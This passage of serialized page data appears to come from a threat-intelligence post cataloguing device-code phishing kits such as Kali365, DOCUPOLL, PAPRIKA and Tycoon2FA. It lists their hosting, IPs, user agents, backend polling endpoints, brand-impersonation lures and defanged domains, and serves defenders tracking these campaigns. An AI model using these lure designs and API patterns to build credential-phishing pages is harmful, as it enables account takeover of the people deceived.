/api/device/poll",{"data":29482,"content":29483,"nodeType":4581},{},[29484,29494],{"data":29485,"content":29486,"nodeType":4569},{},[29487],{"data":29488,"content":29489,"nodeType":860},{},[29490],{"data":29491,"marks":29492,"value":29294,"nodeType":864},{},[29493],{"type":899},{"data":29495,"content":29496,"nodeType":4569},{},[29497],{"data":29498,"content":29499,"nodeType":860},{},[29500],{"data":29501,"marks":29502,"value":29503,"nodeType":864},{},[],"Citrix ShareFile document transfer — file card with sender info, expiry warning, download/preview buttons",{"data":29505,"content":29506,"nodeType":4581},{},[29507,29518],{"data":29508,"content":29509,"nodeType":4569},{},[29510],{"data":29511,"content":29512,"nodeType":860},{},[29513],{"data":29514,"marks":29515,"value":29517,"nodeType":864},{},[29516],{"type":899},"Example domain",{"data":29519,"content":29520,"nodeType":4569},{},[29521],{"data":29522,"content":29523,"nodeType":860},{},[29524],{"data":29525,"marks":29526,"value":29527,"nodeType":864},{},[],"cghdfg[.]vbchkioi[.]su",{"data":29529,"content":29533,"nodeType":996},{"target":29530},{"sys":29531},{"id":29532,"type":1001,"linkType":1002},"1TtZ6VsMSTlPvy7W996w9E",[],{"data":29535,"content":29536,"nodeType":1005},{},[],{"data":29538,"content":29539,"nodeType":1312},{},[29540],{"data":29541,"marks":29542,"value":29544,"nodeType":864},{},[29543],{"type":899},"Kali365 (internal name “CLURE”)",{"data":29546,"content":29547,"nodeType":860},{},[29548,29552,29557,29561,29569,29573,29581],{"data":29549,"marks":29550,"value":29551,"nodeType":864},{},[],"Clure was recently linked to the ",{"data":29553,"marks":29554,"value":29556,"nodeType":864},{},[29555],{"type":899},"Kali365",{"data":29558,"marks":29559,"value":29560,"nodeType":864},{},[]," PhaaS platform based on an ",{"data":29562,"content":29564,"nodeType":883},{"uri":29563},"https://www.ic3.gov/PSA/2026/PSA260521",[29565],{"data":29566,"marks":29567,"value":29568,"nodeType":864},{},[],"FBI advisory",{"data":29570,"marks":29571,"value":29572,"nodeType":864},{},[]," and additional research from ",{"data":29574,"content":29576,"nodeType":883},{"uri":29575},"https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/",[29577],{"data":29578,"marks":29579,"value":29580,"nodeType":864},{},[],"Arctic Wolf",{"data":29582,"marks":29583,"value":29584,"nodeType":864},{},[],". This is yet another example of Device Code Phishing and AiTM phishing capabilities being integrated into unified phishing platforms. ",{"data":29586,"content":29587,"nodeType":4845},{},[29588,29611,29650,29673,29696],{"data":29589,"content":29590,"nodeType":4581},{},[29591,29601],{"data":29592,"content":29593,"nodeType":4569},{},[29594],{"data":29595,"content":29596,"nodeType":860},{},[29597],{"data":29598,"marks":29599,"value":29135,"nodeType":864},{},[29600],{"type":899},{"data":29602,"content":29603,"nodeType":4569},{},[29604],{"data":29605,"content":29606,"nodeType":860},{},[29607],{"data":29608,"marks":29609,"value":29610,"nodeType":864},{},[],"API on api.duemineral.uk:8443 and api.loadingdocuments.uk:8443 (rotates). ",{"data":29612,"content":29613,"nodeType":4581},{},[29614,29624],{"data":29615,"content":29616,"nodeType":4569},{},[29617],{"data":29618,"content":29619,"nodeType":860},{},[29620],{"data":29621,"marks":29622,"value":29159,"nodeType":864},{},[29623],{"type":899},{"data":29625,"content":29626,"nodeType":4569},{},[29627,29639],{"data":29628,"content":29629,"nodeType":860},{},[29630,29635],{"data":29631,"marks":29632,"value":29634,"nodeType":864},{},[29633],{"type":899},"Example IP: ",{"data":29636,"marks":29637,"value":29638,"nodeType":864},{},[],"162.243.166.119 (DigitalOcean AS14061)",{"data":29640,"content":29641,"nodeType":860},{},[29642,29646],{"data":29643,"marks":29644,"value":29200,"nodeType":864},{},[29645],{"type":899},{"data":29647,"marks":29648,"value":29649,"nodeType":864},{},[]," python-requests/2.32.5",{"data":29651,"content":29652,"nodeType":4581},{},[29653,29663],{"data":29654,"content":29655,"nodeType":4569},{},[29656],{"data":29657,"content":29658,"nodeType":860},{},[29659],{"data":29660,"marks":29661,"value":29242,"nodeType":864},{},[29662],{"type":899},{"data":29664,"content":29665,"nodeType":4569},{},[29666],{"data":29667,"content":29668,"nodeType":860},{},[29669],{"data":29670,"marks":29671,"value":29672,"nodeType":864},{},[],"GET /api/status/{numeric_SID} (port :8443)",{"data":29674,"content":29675,"nodeType":4581},{},[29676,29686],{"data":29677,"content":29678,"nodeType":4569},{},[29679],{"data":29680,"content":29681,"nodeType":860},{},[29682],{"data":29683,"marks":29684,"value":29294,"nodeType":864},{},[29685],{"type":899},{"data":29687,"content":29688,"nodeType":4569},{},[29689],{"data":29690,"content":29691,"nodeType":860},{},[29692],{"data":29693,"marks":29694,"value":29695,"nodeType":864},{},[],"SharePoint \"Team Site\" doc library, SharePoint \"Shared Document\" individual share",{"data":29697,"content":29698,"nodeType":4581},{},[29699,29709],{"data":29700,"content":29701,"nodeType":4569},{},[29702],{"data":29703,"content":29704,"nodeType":860},{},[29705],{"data":29706,"marks":29707,"value":29517,"nodeType":864},{},[29708],{"type":899},{"data":29710,"content":29711,"nodeType":4569},{},[29712],{"data":29713,"content":29714,"nodeType":860},{},[29715],{"data":29716,"marks":29717,"value":29718,"nodeType":864},{},[],"auth[.]duemineral[.]uk",{"data":29720,"content":29724,"nodeType":996},{"target":29721},{"sys":29722},{"id":29723,"type":1001,"linkType":1002},"Y1AiT3dJRTXz64pb68kca",[],{"data":29726,"content":29727,"nodeType":1005},{},[],{"data":29729,"content":29730,"nodeType":1312},{},[29731],{"data":29732,"marks":29733,"value":29735,"nodeType":864},{},[29734],{"type":899},"“LINKID”",{"data":29737,"content":29738,"nodeType":4845},{},[29739,29762,29807,29837,29860],{"data":29740,"content":29741,"nodeType":4581},{},[29742,29752],{"data":29743,"content":29744,"nodeType":4569},{},[29745],{"data":29746,"content":29747,"nodeType":860},{},[29748],{"data":29749,"marks":29750,"value":29135,"nodeType":864},{},[29751],{"type":899},{"data":29753,"content":29754,"nodeType":4569},{},[29755],{"data":29756,"content":29757,"nodeType":860},{},[29758],{"data":29759,"marks":29760,"value":29761,"nodeType":864},{},[],"Adobe variant has Cloudflare challenge-platform iframe (CF-protected origin). Relative API paths — self-hosted.",{"data":29763,"content":29764,"nodeType":4581},{},[29765,29775],{"data":29766,"content":29767,"nodeType":4569},{},[29768],{"data":29769,"content":29770,"nodeType":860},{},[29771],{"data":29772,"marks":29773,"value":29159,"nodeType":864},{},[29774],{"type":899},{"data":29776,"content":29777,"nodeType":4569},{},[29778,29789,29796],{"data":29779,"content":29780,"nodeType":860},{},[29781,29785],{"data":29782,"marks":29783,"value":29634,"nodeType":864},{},[29784],{"type":899},{"data":29786,"marks":29787,"value":29788,"nodeType":864},{},[],"185.176.220.22 (2cloud.eu AS39845)",{"data":29790,"content":29791,"nodeType":860},{},[29792],{"data":29793,"marks":29794,"value":29795,"nodeType":864},{},[],"2600:1f10:470d:9a00:1437:ec30:be61:3494 (AWS AS16509)",{"data":29797,"content":29798,"nodeType":860},{},[29799,29803],{"data":29800,"marks":29801,"value":29200,"nodeType":864},{},[29802],{"type":899},{"data":29804,"marks":29805,"value":29806,"nodeType":864},{},[]," axios/1.10.0 , axios/1.13.6",{"data":29808,"content":29809,"nodeType":4581},{},[29810,29820],{"data":29811,"content":29812,"nodeType":4569},{},[29813],{"data":29814,"content":29815,"nodeType":860},{},[29816],{"data":29817,"marks":29818,"value":29242,"nodeType":864},{},[29819],{"type":899},{"data":29821,"content":29822,"nodeType":4569},{},[29823,29830],{"data":29824,"content":29825,"nodeType":860},{},[29826],{"data":29827,"marks":29828,"value":29829,"nodeType":864},{},[],"POST /api/device/start",{"data":29831,"content":29832,"nodeType":860},{},[29833],{"data":29834,"marks":29835,"value":29836,"nodeType":864},{},[],"GET /api/device/status/{sessionId}",{"data":29838,"content":29839,"nodeType":4581},{},[29840,29850],{"data":29841,"content":29842,"nodeType":4569},{},[29843],{"data":29844,"content":29845,"nodeType":860},{},[29846],{"data":29847,"marks":29848,"value":29294,"nodeType":864},{},[29849],{"type":899},{"data":29851,"content":29852,"nodeType":4569},{},[29853],{"data":29854,"content":29855,"nodeType":860},{},[29856],{"data":29857,"marks":29858,"value":29859,"nodeType":864},{},[],"MS Teams meeting invitation (with interactive date/time picker), Adobe Acrobat Sign document review",{"data":29861,"content":29862,"nodeType":4581},{},[29863,29873],{"data":29864,"content":29865,"nodeType":4569},{},[29866],{"data":29867,"content":29868,"nodeType":860},{},[29869],{"data":29870,"marks":29871,"value":29517,"nodeType":864},{},[29872],{"type":899},{"data":29874,"content":29875,"nodeType":4569},{},[29876],{"data":29877,"content":29878,"nodeType":860},{},[29879],{"data":29880,"marks":29881,"value":29882,"nodeType":864},{},[],"sdtr-site[.]cfd",{"data":29884,"content":29888,"nodeType":996},{"target":29885},{"sys":29886},{"id":29887,"type":1001,"linkType":1002},"22hsIzlkptC2JTIUtbOuUn",[],{"data":29890,"content":29891,"nodeType":1005},{},[],{"data":29893,"content":29894,"nodeType":1312},{},[29895],{"data":29896,"marks":29897,"value":29899,"nodeType":864},{},[29898],{"type":899},"Device Code Lab (formerly codename \"AUTHOV”)",{"data":29901,"content":29905,"nodeType":996},{"target":29902},{"sys":29903},{"id":29904,"type":1001,"linkType":1002},"5vllVaa0Ry0wKs46ssrZLC",[],{"data":29907,"content":29908,"nodeType":4845},{},[29909,29932,29977,30000,30023],{"data":29910,"content":29911,"nodeType":4581},{},[29912,29922],{"data":29913,"content":29914,"nodeType":4569},{},[29915],{"data":29916,"content":29917,"nodeType":860},{},[29918],{"data":29919,"marks":29920,"value":29135,"nodeType":864},{},[29921],{"type":899},{"data":29923,"content":29924,"nodeType":4569},{},[29925],{"data":29926,"content":29927,"nodeType":860},{},[29928],{"data":29929,"marks":29930,"value":29931,"nodeType":864},{},[],"workers.dev",{"data":29933,"content":29934,"nodeType":4581},{},[29935,29945],{"data":29936,"content":29937,"nodeType":4569},{},[29938],{"data":29939,"content":29940,"nodeType":860},{},[29941],{"data":29942,"marks":29943,"value":29159,"nodeType":864},{},[29944],{"type":899},{"data":29946,"content":29947,"nodeType":4569},{},[29948,29959],{"data":29949,"content":29950,"nodeType":860},{},[29951,29955],{"data":29952,"marks":29953,"value":29634,"nodeType":864},{},[29954],{"type":899},{"data":29956,"marks":29957,"value":29958,"nodeType":864},{},[],"192.3.225.100 (HostPapa / ColoCrossing AS36352)",{"data":29960,"content":29961,"nodeType":860},{},[29962,29966,29969,29973],{"data":29963,"marks":29964,"value":29200,"nodeType":864},{},[29965],{"type":899},{"data":29967,"marks":29968,"value":1171,"nodeType":864},{},[],{"data":29970,"marks":29971,"value":12978,"nodeType":864},{},[29972],{"type":899},{"data":29974,"marks":29975,"value":29976,"nodeType":864},{},[],"python-httpx/0.28.1",{"data":29978,"content":29979,"nodeType":4581},{},[29980,29990],{"data":29981,"content":29982,"nodeType":4569},{},[29983],{"data":29984,"content":29985,"nodeType":860},{},[29986],{"data":29987,"marks":29988,"value":29242,"nodeType":864},{},[29989],{"type":899},{"data":29991,"content":29992,"nodeType":4569},{},[29993],{"data":29994,"content":29995,"nodeType":860},{},[29996],{"data":29997,"marks":29998,"value":29999,"nodeType":864},{},[],"GET /landing/api/session-status?session_id=&token=",{"data":30001,"content":30002,"nodeType":4581},{},[30003,30013],{"data":30004,"content":30005,"nodeType":4569},{},[30006],{"data":30007,"content":30008,"nodeType":860},{},[30009],{"data":30010,"marks":30011,"value":29294,"nodeType":864},{},[30012],{"type":899},{"data":30014,"content":30015,"nodeType":4569},{},[30016],{"data":30017,"content":30018,"nodeType":860},{},[30019],{"data":30020,"marks":30021,"value":30022,"nodeType":864},{},[],"Adobe Acrobat document sharing (PDF preview, sender avatar)",{"data":30024,"content":30025,"nodeType":4581},{},[30026,30036],{"data":30027,"content":30028,"nodeType":4569},{},[30029],{"data":30030,"content":30031,"nodeType":860},{},[30032],{"data":30033,"marks":30034,"value":29517,"nodeType":864},{},[30035],{"type":899},{"data":30037,"content":30038,"nodeType":4569},{},[30039],{"data":30040,"content":30041,"nodeType":860},{},[30042],{"data":30043,"marks":30044,"value":30045,"nodeType":864},{},[],"milosh-solibella-0dcio[.]sgttommy.workers.dev",{"data":30047,"content":30051,"nodeType":996},{"target":30048},{"sys":30049},{"id":30050,"type":1001,"linkType":1002},"6szO6IKJ32usyxIKX1efZy",[],{"data":30053,"content":30057,"nodeType":996},{"target":30054},{"sys":30055},{"id":30056,"type":1001,"linkType":1002},"lEqV3RTMIY8y011lnhX7P",[],{"data":30059,"content":30060,"nodeType":1005},{},[],{"data":30062,"content":30063,"nodeType":1312},{},[30064],{"data":30065,"marks":30066,"value":30068,"nodeType":864},{},[30067],{"type":899},"“DOCUPOLL”",{"data":30070,"content":30071,"nodeType":4845},{},[30072,30095,30133,30170,30193],{"data":30073,"content":30074,"nodeType":4581},{},[30075,30085],{"data":30076,"content":30077,"nodeType":4569},{},[30078],{"data":30079,"content":30080,"nodeType":860},{},[30081],{"data":30082,"marks":30083,"value":29135,"nodeType":864},{},[30084],{"type":899},{"data":30086,"content":30087,"nodeType":4569},{},[30088],{"data":30089,"content":30090,"nodeType":860},{},[30091],{"data":30092,"marks":30093,"value":30094,"nodeType":864},{},[],"Github.io and workers.dev hosting",{"data":30096,"content":30097,"nodeType":4581},{},[30098,30108],{"data":30099,"content":30100,"nodeType":4569},{},[30101],{"data":30102,"content":30103,"nodeType":860},{},[30104],{"data":30105,"marks":30106,"value":29159,"nodeType":864},{},[30107],{"type":899},{"data":30109,"content":30110,"nodeType":4569},{},[30111,30122],{"data":30112,"content":30113,"nodeType":860},{},[30114,30118],{"data":30115,"marks":30116,"value":29634,"nodeType":864},{},[30117],{"type":899},{"data":30119,"marks":30120,"value":30121,"nodeType":864},{},[],"144.172.103.240 (FranTech Solutions / RouterHosting / Cloudzy AS14956)",{"data":30123,"content":30124,"nodeType":860},{},[30125,30129],{"data":30126,"marks":30127,"value":29200,"nodeType":864},{},[30128],{"type":899},{"data":30130,"marks":30131,"value":30132,"nodeType":864},{},[]," Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042",{"data":30134,"content":30135,"nodeType":4581},{},[30136,30146],{"data":30137,"content":30138,"nodeType":4569},{},[30139],{"data":30140,"content":30141,"nodeType":860},{},[30142],{"data":30143,"marks":30144,"value":29242,"nodeType":864},{},[30145],{"type":899},{"data":30147,"content":30148,"nodeType":4569},{},[30149,30156,30163],{"data":30150,"content":30151,"nodeType":860},{},[30152],{"data":30153,"marks":30154,"value":30155,"nodeType":864},{},[],"POST /api/v1/landing-pages/public/{slug}/init",{"data":30157,"content":30158,"nodeType":860},{},[30159],{"data":30160,"marks":30161,"value":30162,"nodeType":864},{},[],"POST .../poll",{"data":30164,"content":30165,"nodeType":860},{},[30166],{"data":30167,"marks":30168,"value":30169,"nodeType":864},{},[],"POST .../track",{"data":30171,"content":30172,"nodeType":4581},{},[30173,30183],{"data":30174,"content":30175,"nodeType":4569},{},[30176],{"data":30177,"content":30178,"nodeType":860},{},[30179],{"data":30180,"marks":30181,"value":29294,"nodeType":864},{},[30182],{"type":899},{"data":30184,"content":30185,"nodeType":4569},{},[30186],{"data":30187,"content":30188,"nodeType":860},{},[30189],{"data":30190,"marks":30191,"value":30192,"nodeType":864},{},[],"DocuSign document signing. One sample is a full scrape of real docusign.com (free-account page) with kit injected.",{"data":30194,"content":30195,"nodeType":4581},{},[30196,30206],{"data":30197,"content":30198,"nodeType":4569},{},[30199],{"data":30200,"content":30201,"nodeType":860},{},[30202],{"data":30203,"marks":30204,"value":29517,"nodeType":864},{},[30205],{"type":899},{"data":30207,"content":30208,"nodeType":4569},{},[30209],{"data":30210,"content":30211,"nodeType":860},{},[30212],{"data":30213,"marks":30214,"value":30215,"nodeType":864},{},[],"docufirmar[.]github.io",{"data":30217,"content":30221,"nodeType":996},{"target":30218},{"sys":30219},{"id":30220,"type":1001,"linkType":1002},"6Y1XABHnQD82R3MW80HnQZ",[],{"data":30223,"content":30224,"nodeType":1005},{},[],{"data":30226,"content":30227,"nodeType":1312},{},[30228],{"data":30229,"marks":30230,"value":30232,"nodeType":864},{},[30231],{"type":899},"“FLOW_TOKEN”",{"data":30234,"content":30235,"nodeType":4845},{},[30236,30258,30303,30333,30356],{"data":30237,"content":30238,"nodeType":4581},{},[30239,30249],{"data":30240,"content":30241,"nodeType":4569},{},[30242],{"data":30243,"content":30244,"nodeType":860},{},[30245],{"data":30246,"marks":30247,"value":29135,"nodeType":864},{},[30248],{"type":899},{"data":30250,"content":30251,"nodeType":4569},{},[30252],{"data":30253,"content":30254,"nodeType":860},{},[30255],{"data":30256,"marks":30257,"value":29931,"nodeType":864},{},[],{"data":30259,"content":30260,"nodeType":4581},{},[30261,30271],{"data":30262,"content":30263,"nodeType":4569},{},[30264],{"data":30265,"content":30266,"nodeType":860},{},[30267],{"data":30268,"marks":30269,"value":29159,"nodeType":864},{},[30270],{"type":899},{"data":30272,"content":30273,"nodeType":4569},{},[30274,30285],{"data":30275,"content":30276,"nodeType":860},{},[30277,30281],{"data":30278,"marks":30279,"value":29634,"nodeType":864},{},[30280],{"type":899},{"data":30282,"marks":30283,"value":30284,"nodeType":864},{},[],"43.166.163.163 (Tencent Cloud AS132203)",{"data":30286,"content":30287,"nodeType":860},{},[30288,30292,30295,30299],{"data":30289,"marks":30290,"value":29200,"nodeType":864},{},[30291],{"type":899},{"data":30293,"marks":30294,"value":1171,"nodeType":864},{},[],{"data":30296,"marks":30297,"value":12978,"nodeType":864},{},[30298],{"type":899},{"data":30300,"marks":30301,"value":30302,"nodeType":864},{},[],"(null)",{"data":30304,"content":30305,"nodeType":4581},{},[30306,30316],{"data":30307,"content":30308,"nodeType":4569},{},[30309],{"data":30310,"content":30311,"nodeType":860},{},[30312],{"data":30313,"marks":30314,"value":29242,"nodeType":864},{},[30315],{"type":899},{"data":30317,"content":30318,"nodeType":4569},{},[30319,30326],{"data":30320,"content":30321,"nodeType":860},{},[30322],{"data":30323,"marks":30324,"value":30325,"nodeType":864},{},[],"POST /api/handler.php ",{"data":30327,"content":30328,"nodeType":860},{},[30329],{"data":30330,"marks":30331,"value":30332,"nodeType":864},{},[],"(actions: device_code_generate, device_code_poll_public)",{"data":30334,"content":30335,"nodeType":4581},{},[30336,30346],{"data":30337,"content":30338,"nodeType":4569},{},[30339],{"data":30340,"content":30341,"nodeType":860},{},[30342],{"data":30343,"marks":30344,"value":29294,"nodeType":864},{},[30345],{"type":899},{"data":30347,"content":30348,"nodeType":4569},{},[30349],{"data":30350,"content":30351,"nodeType":860},{},[30352],{"data":30353,"marks":30354,"value":30355,"nodeType":864},{},[],"DocuSign \"Salary Adjustment Document — 2026\", Microsoft banner · HR Department sender",{"data":30357,"content":30358,"nodeType":4581},{},[30359,30369],{"data":30360,"content":30361,"nodeType":4569},{},[30362],{"data":30363,"content":30364,"nodeType":860},{},[30365],{"data":30366,"marks":30367,"value":29517,"nodeType":864},{},[30368],{"type":899},{"data":30370,"content":30371,"nodeType":4569},{},[30372],{"data":30373,"content":30374,"nodeType":860},{},[30375],{"data":30376,"marks":30377,"value":30378,"nodeType":864},{},[],"salaryadjustment-2afb52.pmb6fefc52b3f9aa5c2dbf[.]workers.dev",{"data":30380,"content":30384,"nodeType":996},{"target":30381},{"sys":30382},{"id":30383,"type":1001,"linkType":1002},"6xiTDHStbiJh7LMhjAZcPd",[],{"data":30386,"content":30387,"nodeType":1005},{},[],{"data":30389,"content":30390,"nodeType":1312},{},[30391],{"data":30392,"marks":30393,"value":30395,"nodeType":864},{},[30394],{"type":899},"“PAPRIKA”",{"data":30397,"content":30398,"nodeType":4845},{},[30399,30422,30445,30468],{"data":30400,"content":30401,"nodeType":4581},{},[30402,30412],{"data":30403,"content":30404,"nodeType":4569},{},[30405],{"data":30406,"content":30407,"nodeType":860},{},[30408],{"data":30409,"marks":30410,"value":29135,"nodeType":864},{},[30411],{"type":899},{"data":30413,"content":30414,"nodeType":4569},{},[30415],{"data":30416,"content":30417,"nodeType":860},{},[30418],{"data":30419,"marks":30420,"value":30421,"nodeType":864},{},[],"AWS S3 hosting",{"data":30423,"content":30424,"nodeType":4581},{},[30425,30435],{"data":30426,"content":30427,"nodeType":4569},{},[30428],{"data":30429,"content":30430,"nodeType":860},{},[30431],{"data":30432,"marks":30433,"value":29242,"nodeType":864},{},[30434],{"type":899},{"data":30436,"content":30437,"nodeType":4569},{},[30438],{"data":30439,"content":30440,"nodeType":860},{},[30441],{"data":30442,"marks":30443,"value":30444,"nodeType":864},{},[],"POST /api/v1/loader",{"data":30446,"content":30447,"nodeType":4581},{},[30448,30458],{"data":30449,"content":30450,"nodeType":4569},{},[30451],{"data":30452,"content":30453,"nodeType":860},{},[30454],{"data":30455,"marks":30456,"value":29294,"nodeType":864},{},[30457],{"type":899},{"data":30459,"content":30460,"nodeType":4569},{},[30461],{"data":30462,"content":30463,"nodeType":860},{},[30464],{"data":30465,"marks":30466,"value":30467,"nodeType":864},{},[],"MS login clone (\"Sign in to your account\"), \"Office 365\" branding, fake \"Powered by Okta\" footer",{"data":30469,"content":30470,"nodeType":4581},{},[30471,30481],{"data":30472,"content":30473,"nodeType":4569},{},[30474],{"data":30475,"content":30476,"nodeType":860},{},[30477],{"data":30478,"marks":30479,"value":29517,"nodeType":864},{},[30480],{"type":899},{"data":30482,"content":30483,"nodeType":4569},{},[30484],{"data":30485,"content":30486,"nodeType":860},{},[30487],{"data":30488,"marks":30489,"value":30490,"nodeType":864},{},[],"redirect-523346-d95027ec[.]s3.amazonaws.com",{"data":30492,"content":30496,"nodeType":996},{"target":30493},{"sys":30494},{"id":30495,"type":1001,"linkType":1002},"6WFXqUDzcJHKWSwVIcDZAf",[],{"data":30498,"content":30499,"nodeType":1005},{},[],{"data":30501,"content":30502,"nodeType":1312},{},[30503],{"data":30504,"marks":30505,"value":30507,"nodeType":864},{},[30506],{"type":899},"“DCSTATUS”",{"data":30509,"content":30510,"nodeType":4845},{},[30511,30533,30556,30579],{"data":30512,"content":30513,"nodeType":4581},{},[30514,30524],{"data":30515,"content":30516,"nodeType":4569},{},[30517],{"data":30518,"content":30519,"nodeType":860},{},[30520],{"data":30521,"marks":30522,"value":29135,"nodeType":864},{},[30523],{"type":899},{"data":30525,"content":30526,"nodeType":4569},{},[30527],{"data":30528,"content":30529,"nodeType":860},{},[30530],{"data":30531,"marks":30532,"value":29418,"nodeType":864},{},[],{"data":30534,"content":30535,"nodeType":4581},{},[30536,30546],{"data":30537,"content":30538,"nodeType":4569},{},[30539],{"data":30540,"content":30541,"nodeType":860},{},[30542],{"data":30543,"marks":30544,"value":29242,"nodeType":864},{},[30545],{"type":899},{"data":30547,"content":30548,"nodeType":4569},{},[30549],{"data":30550,"content":30551,"nodeType":860},{},[30552],{"data":30553,"marks":30554,"value":30555,"nodeType":864},{},[],"GET /dc/status/{base64url_sid}",{"data":30557,"content":30558,"nodeType":4581},{},[30559,30569],{"data":30560,"content":30561,"nodeType":4569},{},[30562],{"data":30563,"content":30564,"nodeType":860},{},[30565],{"data":30566,"marks":30567,"value":29294,"nodeType":864},{},[30568],{"type":899},{"data":30570,"content":30571,"nodeType":4569},{},[30572],{"data":30573,"content":30574,"nodeType":860},{},[30575],{"data":30576,"marks":30577,"value":30578,"nodeType":864},{},[],"Generic \"Microsoft 365 - Secure Access\" verification page",{"data":30580,"content":30581,"nodeType":4581},{},[30582,30592],{"data":30583,"content":30584,"nodeType":4569},{},[30585],{"data":30586,"content":30587,"nodeType":860},{},[30588],{"data":30589,"marks":30590,"value":29517,"nodeType":864},{},[30591],{"type":899},{"data":30593,"content":30594,"nodeType":4569},{},[30595],{"data":30596,"content":30597,"nodeType":860},{},[30598],{"data":30599,"marks":30600,"value":30601,"nodeType":864},{},[],"owa[.]apmmacleans[.]ca",{"data":30603,"content":30607,"nodeType":996},{"target":30604},{"sys":30605},{"id":30606,"type":1001,"linkType":1002},"ugYhHeXY1lQdKooALmrIs",[],{"data":30609,"content":30610,"nodeType":1005},{},[],{"data":30612,"content":30613,"nodeType":1312},{},[30614],{"data":30615,"marks":30616,"value":30618,"nodeType":864},{},[30617],{"type":899},"“DOLCE”",{"data":30620,"content":30624,"nodeType":996},{"target":30621},{"sys":30622},{"id":30623,"type":1001,"linkType":1002},"7TzU6kk01Un45NB0buEz2",[],{"data":30626,"content":30627,"nodeType":4845},{},[30628,30651,30689,30712,30735],{"data":30629,"content":30630,"nodeType":4581},{},[30631,30641],{"data":30632,"content":30633,"nodeType":4569},{},[30634],{"data":30635,"content":30636,"nodeType":860},{},[30637],{"data":30638,"marks":30639,"value":29135,"nodeType":864},{},[30640],{"type":899},{"data":30642,"content":30643,"nodeType":4569},{},[30644],{"data":30645,"content":30646,"nodeType":860},{},[30647],{"data":30648,"marks":30649,"value":30650,"nodeType":864},{},[],"Microsoft PowerApps hosting",{"data":30652,"content":30653,"nodeType":4581},{},[30654,30664],{"data":30655,"content":30656,"nodeType":4569},{},[30657],{"data":30658,"content":30659,"nodeType":860},{},[30660],{"data":30661,"marks":30662,"value":29159,"nodeType":864},{},[30663],{"type":899},{"data":30665,"content":30666,"nodeType":4569},{},[30667,30678],{"data":30668,"content":30669,"nodeType":860},{},[30670,30674],{"data":30671,"marks":30672,"value":29634,"nodeType":864},{},[30673],{"type":899},{"data":30675,"marks":30676,"value":30677,"nodeType":864},{},[],"34.53.159.84 (Google Cloud AS396982)",{"data":30679,"content":30680,"nodeType":860},{},[30681,30685],{"data":30682,"marks":30683,"value":29200,"nodeType":864},{},[30684],{"type":899},{"data":30686,"marks":30687,"value":30688,"nodeType":864},{},[]," Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36",{"data":30690,"content":30691,"nodeType":4581},{},[30692,30702],{"data":30693,"content":30694,"nodeType":4569},{},[30695],{"data":30696,"content":30697,"nodeType":860},{},[30698],{"data":30699,"marks":30700,"value":29242,"nodeType":864},{},[30701],{"type":899},{"data":30703,"content":30704,"nodeType":4569},{},[30705],{"data":30706,"content":30707,"nodeType":860},{},[30708],{"data":30709,"marks":30710,"value":30711,"nodeType":864},{},[],"GET /api/generatecode (CloudFront)",{"data":30713,"content":30714,"nodeType":4581},{},[30715,30725],{"data":30716,"content":30717,"nodeType":4569},{},[30718],{"data":30719,"content":30720,"nodeType":860},{},[30721],{"data":30722,"marks":30723,"value":29294,"nodeType":864},{},[30724],{"type":899},{"data":30726,"content":30727,"nodeType":4569},{},[30728],{"data":30729,"content":30730,"nodeType":860},{},[30731],{"data":30732,"marks":30733,"value":30734,"nodeType":864},{},[],"Dolce & Gabbana branded, Italian language, MS account verification",{"data":30736,"content":30737,"nodeType":4581},{},[30738,30748],{"data":30739,"content":30740,"nodeType":4569},{},[30741],{"data":30742,"content":30743,"nodeType":860},{},[30744],{"data":30745,"marks":30746,"value":29517,"nodeType":864},{},[30747],{"type":899},{"data":30749,"content":30750,"nodeType":4569},{},[30751],{"data":30752,"content":30753,"nodeType":860},{},[30754],{"data":30755,"marks":30756,"value":30757,"nodeType":864},{},[],"data-migration-dolcegabbana[.]powerappsportals.com",{"data":30759,"content":30763,"nodeType":996},{"target":30760},{"sys":30761},{"id":30762,"type":1001,"linkType":1002},"4ayQDvpf5NNOBrj9wZZRiO",[],{"data":30765,"content":30766,"nodeType":1005},{},[],{"data":30768,"content":30769,"nodeType":1312},{},[30770],{"data":30771,"marks":30772,"value":30774,"nodeType":864},{},[30773],{"type":899},"Venom",{"data":30776,"content":30777,"nodeType":4845},{},[30778,30801],{"data":30779,"content":30780,"nodeType":4581},{},[30781,30791],{"data":30782,"content":30783,"nodeType":4569},{},[30784],{"data":30785,"content":30786,"nodeType":860},{},[30787],{"data":30788,"marks":30789,"value":29242,"nodeType":864},{},[30790],{"type":899},{"data":30792,"content":30793,"nodeType":4569},{},[30794],{"data":30795,"content":30796,"nodeType":860},{},[30797],{"data":30798,"marks":30799,"value":30800,"nodeType":864},{},[],"POST /token/api/device/start\nGET /token/api/device/status/{sessionId}",{"data":30802,"content":30803,"nodeType":4581},{},[30804,30814],{"data":30805,"content":30806,"nodeType":4569},{},[30807],{"data":30808,"content":30809,"nodeType":860},{},[30810],{"data":30811,"marks":30812,"value":29294,"nodeType":864},{},[30813],{"type":899},{"data":30815,"content":30816,"nodeType":4569},{},[30817],{"data":30818,"content":30819,"nodeType":860},{},[30820],{"data":30821,"marks":30822,"value":30823,"nodeType":864},{},[],"Various: examples include DocuSign \"Verification\" (Microsoft sign-in pretext); DHL \"Delivery Checkpoint\" package shipment pretext",{"data":30825,"content":30829,"nodeType":996},{"target":30826},{"sys":30827},{"id":30828,"type":1001,"linkType":1002},"79C3fces0hgTdf3G68cIrf",[],{"data":30831,"content":30832,"nodeType":1005},{},[],{"data":30834,"content":30835,"nodeType":1312},{},[30836],{"data":30837,"marks":30838,"value":30840,"nodeType":864},{},[30839],{"type":899},"Tycoon2FA",{"data":30842,"content":30843,"nodeType":4845},{},[30844,30874,30911,30934,30957],{"data":30845,"content":30846,"nodeType":4581},{},[30847,30857],{"data":30848,"content":30849,"nodeType":4569},{},[30850],{"data":30851,"content":30852,"nodeType":860},{},[30853],{"data":30854,"marks":30855,"value":29135,"nodeType":864},{},[30856],{"type":899},{"data":30858,"content":30859,"nodeType":4569},{},[30860,30867],{"data":30861,"content":30862,"nodeType":860},{},[30863],{"data":30864,"marks":30865,"value":30866,"nodeType":864},{},[],"Github.io and Cloudflare Workers (workers.dev) hosting",{"data":30868,"content":30869,"nodeType":860},{},[30870],{"data":30871,"marks":30872,"value":30873,"nodeType":864},{},[],"Compromised-site landing pages and CF Workers (*.workers.dev) used 